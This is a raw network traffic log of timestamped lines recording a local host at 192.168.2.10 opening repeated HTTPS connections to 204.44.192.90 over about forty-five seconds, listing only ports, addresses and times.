Mar 7, 2025 16:08:41.827369928 CET	443	49727	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:41.827389002 CET	49727	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:41.827508926 CET	49727	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:41.827950001 CET	49727	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:41.828543901 CET	49728	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:41.828599930 CET	443	49728	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:41.828663111 CET	49728	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:41.828910112 CET	49728	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:41.828927994 CET	443	49728	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:43.589561939 CET	443	49728	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:43.591831923 CET	49728	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:43.591850996 CET	443	49728	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:44.472927094 CET	443	49728	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:44.472964048 CET	443	49728	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:44.473196983 CET	49728	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:44.473217964 CET	443	49728	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:44.491776943 CET	443	49728	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:44.491918087 CET	49728	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:44.491933107 CET	443	49728	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:44.520447969 CET	443	49728	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:44.520551920 CET	443	49728	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:44.520670891 CET	49728	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:44.521106958 CET	49728	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:44.521806002 CET	49729	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:44.521857977 CET	443	49729	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:44.522015095 CET	49729	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:44.522214890 CET	49729	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:44.522226095 CET	443	49729	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:46.620464087 CET	443	49729	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:46.622977018 CET	49729	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:46.623016119 CET	443	49729	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:47.521500111 CET	443	49729	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:47.521526098 CET	443	49729	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:47.521703005 CET	49729	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:47.521728992 CET	443	49729	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:47.552346945 CET	443	49729	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:47.552473068 CET	49729	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:47.552485943 CET	443	49729	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:47.562638044 CET	443	49729	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:47.562711000 CET	49729	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:47.562716961 CET	443	49729	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:47.562742949 CET	443	49729	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:47.562760115 CET	49729	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:47.562792063 CET	49729	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:47.563211918 CET	49729	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:47.563868999 CET	49730	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:47.563915968 CET	443	49730	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:47.563985109 CET	49730	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:47.564281940 CET	49730	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:47.564292908 CET	443	49730	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:49.311307907 CET	443	49730	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:49.313721895 CET	49730	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:49.313750029 CET	443	49730	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:50.842222929 CET	443	49730	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:50.842262030 CET	443	49730	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:50.842365980 CET	49730	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:50.842381954 CET	443	49730	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:50.852538109 CET	443	49730	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:50.852655888 CET	49730	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:50.852669001 CET	443	49730	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:50.902327061 CET	49730	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:50.907242060 CET	443	49730	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:50.907325029 CET	443	49730	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:50.907357931 CET	49730	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:50.907397985 CET	49730	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:50.910656929 CET	49730	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:50.919141054 CET	49731	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:50.919183016 CET	443	49731	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:50.919478893 CET	49731	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:50.923486948 CET	49731	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:50.923501968 CET	443	49731	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:52.610054970 CET	443	49731	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:52.612200022 CET	49731	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:52.612217903 CET	443	49731	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:53.530900955 CET	443	49731	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:53.530939102 CET	443	49731	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:53.531073093 CET	49731	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:53.531086922 CET	443	49731	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:53.546972036 CET	443	49731	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:53.547131062 CET	49731	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:53.547141075 CET	443	49731	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:53.577785969 CET	443	49731	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:53.577867985 CET	443	49731	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:53.577904940 CET	49731	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:53.577950954 CET	49731	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:53.578360081 CET	49731	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:53.579693079 CET	49732	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:53.579734087 CET	443	49732	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:53.579813004 CET	49732	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:53.580152988 CET	49732	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:53.580163956 CET	443	49732	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:55.424854994 CET	443	49732	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:55.427123070 CET	49732	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:55.427146912 CET	443	49732	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:56.331353903 CET	443	49732	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:56.331389904 CET	443	49732	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:56.331620932 CET	49732	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:56.331638098 CET	443	49732	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:56.351774931 CET	443	49732	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:56.352332115 CET	49732	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:56.352349997 CET	443	49732	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:56.394206047 CET	443	49732	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:56.394301891 CET	443	49732	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:56.394634008 CET	49732	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:56.395849943 CET	49733	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:56.395900011 CET	443	49733	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:56.396022081 CET	49733	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:56.396337032 CET	49733	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:56.396342039 CET	49732	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:56.396348000 CET	443	49733	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:58.106906891 CET	443	49733	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:58.108728886 CET	49733	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:58.108747959 CET	443	49733	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:58.986103058 CET	443	49733	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:58.986129045 CET	443	49733	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:58.986238003 CET	49733	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:58.986258984 CET	443	49733	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:59.017774105 CET	443	49733	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:59.017934084 CET	49733	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:59.017954111 CET	443	49733	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:59.043953896 CET	443	49733	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:59.044033051 CET	443	49733	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:59.044131041 CET	49733	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:59.044131041 CET	49733	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:59.044528008 CET	49733	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:59.045270920 CET	49734	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:59.045320988 CET	443	49734	204.44.192.90	192.168.2.10
Mar 7, 2025 16:08:59.045450926 CET	49734	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:59.045631886 CET	49734	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:08:59.045645952 CET	443	49734	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:00.811531067 CET	443	49734	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:00.814374924 CET	49734	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:00.814399958 CET	443	49734	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:01.730904102 CET	443	49734	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:01.730931997 CET	443	49734	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:01.731031895 CET	49734	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:01.731045961 CET	443	49734	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:01.751022100 CET	443	49734	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:01.751132011 CET	49734	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:01.751144886 CET	443	49734	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:01.780054092 CET	443	49734	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:01.780153990 CET	443	49734	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:01.780164003 CET	49734	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:01.780215979 CET	49734	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:01.780642986 CET	49734	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:01.781352997 CET	49735	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:01.781400919 CET	443	49735	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:01.781465054 CET	49735	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:01.781718969 CET	49735	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:01.781735897 CET	443	49735	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:03.523551941 CET	443	49735	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:03.525580883 CET	49735	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:03.525590897 CET	443	49735	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:04.610125065 CET	443	49735	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:04.610153913 CET	443	49735	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:04.610270977 CET	49735	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:04.610286951 CET	443	49735	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:04.630582094 CET	443	49735	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:04.630671978 CET	49735	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:04.630687952 CET	443	49735	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:04.641012907 CET	443	49735	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:04.641108990 CET	443	49735	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:04.641112089 CET	49735	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:04.641153097 CET	49735	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:04.641853094 CET	49735	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:04.643142939 CET	49736	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:04.643192053 CET	443	49736	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:04.643280029 CET	49736	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:04.643630981 CET	49736	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:04.643645048 CET	443	49736	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:06.347577095 CET	443	49736	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:06.350100994 CET	49736	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:06.350125074 CET	443	49736	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:07.245775938 CET	443	49736	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:07.245805025 CET	443	49736	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:07.245861053 CET	49736	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:07.245877028 CET	443	49736	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:07.285448074 CET	443	49736	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:07.285531044 CET	49736	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:07.285547018 CET	443	49736	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:07.292212009 CET	443	49736	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:07.292277098 CET	49736	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:07.292293072 CET	443	49736	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:07.292315006 CET	443	49736	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:07.292330980 CET	49736	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:07.292360067 CET	49736	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:07.292853117 CET	49736	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:07.293792009 CET	49737	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:07.293899059 CET	443	49737	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:07.293977022 CET	49737	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:07.294286013 CET	49737	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:07.294322014 CET	443	49737	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:08.983253002 CET	443	49737	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:08.985420942 CET	49737	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:08.985456944 CET	443	49737	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:09.849905014 CET	443	49737	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:09.849973917 CET	443	49737	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:09.850105047 CET	49737	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:09.850137949 CET	443	49737	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:09.879028082 CET	443	49737	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:09.879170895 CET	49737	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:09.879201889 CET	443	49737	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:09.903182983 CET	443	49737	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:09.903312922 CET	49737	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:09.903343916 CET	443	49737	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:09.903399944 CET	443	49737	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:09.903424025 CET	49737	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:09.903455973 CET	49737	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:09.903781891 CET	49737	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:09.904453039 CET	49738	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:09.904496908 CET	443	49738	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:09.904577017 CET	49738	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:09.904884100 CET	49738	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:09.904897928 CET	443	49738	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:11.633006096 CET	443	49738	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:11.634973049 CET	49738	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:11.635000944 CET	443	49738	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:12.649615049 CET	443	49738	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:12.649636030 CET	443	49738	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:12.649719000 CET	49738	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:12.649748087 CET	443	49738	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:12.669133902 CET	443	49738	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:12.669207096 CET	49738	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:12.669215918 CET	443	49738	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:12.705552101 CET	443	49738	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:12.705651999 CET	49738	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:12.705677986 CET	443	49738	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:12.705732107 CET	49738	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:12.705841064 CET	443	49738	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:12.705889940 CET	49738	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:12.706021070 CET	49738	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:12.706619978 CET	49739	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:12.706656933 CET	443	49739	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:12.706722975 CET	49739	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:12.707017899 CET	49739	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:12.707035065 CET	443	49739	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:15.323827028 CET	443	49739	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:15.337992907 CET	49739	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:15.338011980 CET	443	49739	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:16.252471924 CET	443	49739	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:16.252502918 CET	443	49739	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:16.252548933 CET	49739	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:16.252568960 CET	443	49739	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:16.283803940 CET	443	49739	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:16.283898115 CET	49739	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:16.283915997 CET	443	49739	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:16.324270964 CET	49739	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:16.333991051 CET	443	49739	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:16.334074020 CET	443	49739	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:16.334115982 CET	49739	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:16.334146976 CET	49739	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:16.334522963 CET	49739	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:16.335220098 CET	49740	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:16.335273027 CET	443	49740	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:16.335345030 CET	49740	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:16.335680008 CET	49740	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:16.335695028 CET	443	49740	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:18.091464996 CET	443	49740	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:18.107374907 CET	49740	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:18.107434988 CET	443	49740	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:19.068347931 CET	443	49740	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:19.068442106 CET	443	49740	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:19.068515062 CET	49740	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:19.068542004 CET	443	49740	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:19.088443041 CET	443	49740	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:19.088608027 CET	49740	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:19.088629007 CET	443	49740	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:19.114187002 CET	443	49740	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:19.114342928 CET	443	49740	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:19.114356995 CET	49740	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:19.114408016 CET	49740	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:19.114779949 CET	49740	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:19.115463018 CET	49741	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:19.115566015 CET	443	49741	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:19.115655899 CET	49741	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:19.115994930 CET	49741	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:19.116029024 CET	443	49741	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:20.826472998 CET	443	49741	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:20.828624964 CET	49741	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:20.828691959 CET	443	49741	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:21.935098886 CET	443	49741	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:21.935134888 CET	443	49741	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:21.935281992 CET	49741	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:21.935353994 CET	443	49741	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:21.955362082 CET	443	49741	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:21.955483913 CET	49741	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:21.955523968 CET	443	49741	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:21.984879017 CET	443	49741	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:21.984988928 CET	443	49741	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:21.985011101 CET	49741	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:21.985048056 CET	49741	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:21.985868931 CET	49741	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:21.987715006 CET	49742	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:21.987754107 CET	443	49742	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:21.987879038 CET	49742	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:21.988194942 CET	49742	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:21.988209009 CET	443	49742	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:23.724647045 CET	443	49742	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:23.726413965 CET	49742	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:23.726439953 CET	443	49742	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:24.703258991 CET	443	49742	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:24.703335047 CET	443	49742	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:24.703488111 CET	49742	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:24.703511000 CET	443	49742	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:24.723212957 CET	443	49742	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:24.723370075 CET	49742	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:24.723388910 CET	443	49742	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:24.769692898 CET	443	49742	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:24.769814968 CET	49742	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:24.769824028 CET	443	49742	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:24.769869089 CET	49742	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:24.769875050 CET	443	49742	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:24.769923925 CET	49742	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:24.770276070 CET	49742	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:24.770889044 CET	49743	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:24.770929098 CET	443	49743	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:24.770989895 CET	49743	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:24.771265030 CET	49743	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:24.771281958 CET	443	49743	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:26.507365942 CET	443	49743	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:26.509294987 CET	49743	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:26.509321928 CET	443	49743	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:27.415915012 CET	443	49743	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:27.415952921 CET	443	49743	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:27.416080952 CET	49743	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:27.416100025 CET	443	49743	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:27.435961962 CET	443	49743	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:27.436058044 CET	49743	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:27.436079979 CET	443	49743	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:27.480735064 CET	49743	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:27.499670982 CET	443	49743	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:27.499763966 CET	49743	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:27.499769926 CET	443	49743	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:27.499826908 CET	49743	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:27.500540018 CET	49743	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:27.501935959 CET	49744	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:27.501975060 CET	443	49744	204.44.192.90	192.168.2.10
Mar 7, 2025 16:09:27.502053976 CET	49744	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:27.502681017 CET	49744	443	192.168.2.10	204.44.192.90
Mar 7, 2025 16:09:27.502690077 CET	443	49744	204.44.192.90	192.168.2.10
